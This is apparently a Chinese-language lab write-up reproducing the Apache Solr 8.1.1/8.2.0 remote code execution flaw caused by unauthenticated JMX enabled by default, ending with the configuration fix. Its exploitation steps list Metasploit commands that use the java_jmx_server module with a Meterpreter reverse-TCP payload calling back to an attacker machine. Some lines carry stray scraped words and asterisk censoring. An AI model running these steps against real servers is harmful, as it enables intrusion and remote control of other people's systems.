Solr是一個獨立的企業級搜索應用服務器,它對外提供相似於Web-service的API接口。用戶能夠經過http請求,向搜索引擎服務器提交必定格式的XML文件,生成索引;也能夠經過Http Get操做提出查找請求,並獲得XML格式的返回結果。
該漏洞源於默認配置文件solr.in.sh中的ENABLE_REMOTE_JMX_OPTS配置選項存在安全風險。
Apache Solr的8.1.1和8.2.0版本的自帶配置文件solr.in.sh中存在ENABLE_REMOTE_JMX_OPTS="true"選項。
若是使用受影響版本中的默認solr.in.sh文件,那麼將啓用JMX監視並將其暴露在RMI_PORT上(默認值= 18983),
而且無需進行任何身份驗證。 若是防火牆中的入站流量打開了此端口,則具備Solr節點網絡訪問權限的任何人都將可以訪問JMX,
而且能夠上傳惡意代碼在Solr服務器上執行。該漏洞不影響Windows系統的用戶,僅影響部分版本的Linux用戶。java
Apache Solr8.1.1版本上線時間:2019-05-28
Apache Solr8.2.0版本上線時間:2019-07-25docker
若是受害者使用了該默認配置,則會在默認端口18983開放JMX服務,且默認未開啓認證。任何可訪問此端口的***者可利用此漏洞向受影響服務發起***,執行任意代碼。apache
Java環境和kali系統、Solr 8.20
Solr 8.20 下載地址:
wget http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip
使用unzip solr-8.2.0.zip解壓
解壓完成後,切換到bin目錄啓動Solr
./solr start -force
啓動後訪問:http://192.168.10.176:8983/安全
***機:kali IP:192.168.10.147
受害機:Ubuntu18.6中docker IP:192.168.10.184:8983服務器
1.使用nmap掃描端口後發現18983端口開啓
2.使用Metasploit中的exploit/multi/misc/java_jmx_server模塊進行漏洞復現
use exploit/multi/misc/java_jmx_server
set RHOST 192.168.10.184
set RPORT 18983
再來設置payload:java/meterpreter/reverse_tcp
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.10.147
set LPORT 4444
3.使用run執行,便可看到成功創建鏈接
網絡
將solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS選項設置爲false,而後重啓Solr服務。tcp